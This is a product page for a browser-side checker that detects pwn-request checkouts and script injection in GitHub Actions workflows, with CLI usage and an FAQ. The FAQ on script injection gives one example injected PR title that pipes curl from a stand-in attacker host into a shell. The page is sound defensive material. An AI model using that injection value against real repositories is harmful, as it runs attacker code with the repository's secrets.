ACTIONS INJECTION CHECK · RUNS IN YOUR BROWSER

Is your GitHub Actions workflow open to a pwn request or script injection?

A workflow triggered by pull_request_target or workflow_run runs with your secrets even though a stranger's fork raised the event. If it checks out that fork's code, the fork's code runs with your secrets — a pwn request. And any run: step that drops ${{ github.event.pull_request.title }} (or another attacker-controlled value) straight into a shell command hands that stranger a shell — script injection. Paste your workflow YAML below and this page finds both, each with the exact fix.

Nothing is uploaded. The YAML you paste is read in this browser and never leaves your device, and this tool makes no network calls of its own.

1. Paste one or more workflow files

Copy the contents of each file under .github/workflows/ you want checked. Add more blocks for more files — nothing here reads your repository, so pasting is how it sees anything.

Paste at least one workflow file above and click Check.

Prefer a CLI, or want this in your own CI?

Same logic, zero dependencies, one file:

python3 check.py                  # scan .github/workflows under the current directory
python3 check.py /path/to/repo    # scan a specific checkout
python3 check.py --format json    # machine-readable
python3 check.py --fail-on-risk   # exit 2 if any finding exists

Get check.py from the repo — stdlib only, nothing to install, no network calls. Wire --fail-on-risk into your own CI to block a newly-added finding before it merges.

Common questions

What is a "pwn request" in GitHub Actions?

A workflow triggered by pull_request_target or workflow_run runs with the base repository's secrets and a privileged GITHUB_TOKEN, even though the event itself was raised by a stranger's fork. If a step in that workflow checks out the untrusted head (for example ref: ${{ github.event.pull_request.head.sha }}) and a later step builds, tests, or otherwise executes that code, the fork's code runs with your secrets. GitHub's own security guidance documents this at length, and actions/checkout v7 (June 2026) started refusing the common form of it by default.

What is script injection in a run: step?

When a run: step interpolates ${{ github.event.pull_request.title }} (or another untrusted context value) directly into a shell command, the value is spliced into the script text before the shell ever sees it as data — not passed as a string. Since a PR title, issue body, or branch name is content a stranger fully controls, a title like "; curl evil.example | sh #" runs as a second command. GitHub's guidance names the fix: pass the value through a step env: var and reference it as a quoted shell variable instead.

Does this tool fetch anything from GitHub for me?

No. It makes no network calls at all — nothing here can, because nothing here talks to a server. Paste your workflow YAML and the scan runs entirely in this page.

Does a clean scan mean my workflows are secure?

No. This checks two specific, well-documented patterns. It is not a security audit and makes no claim about your workflows' overall security. Both patterns have variants this tool does not attempt to catch — a hand-rolled git checkout instead of actions/checkout, or an expression built in an unusual way.

Why does script injection get flagged regardless of trigger type?

Unlike the pwn-request checkout risk, script injection into a shell is dangerous on any trigger a stranger can influence — pull_request, issues, issue_comment — not just the two privileged triggers. A workflow token with even minimal permissions, or a runner with network access, is enough for an injected command to do damage.

More: what is a pwn request in GitHub Actions? Already run zizmor? See how this checker compares for the injection question specifically. Prefer to just read the file? See this checker vs. reading a workflow by hand.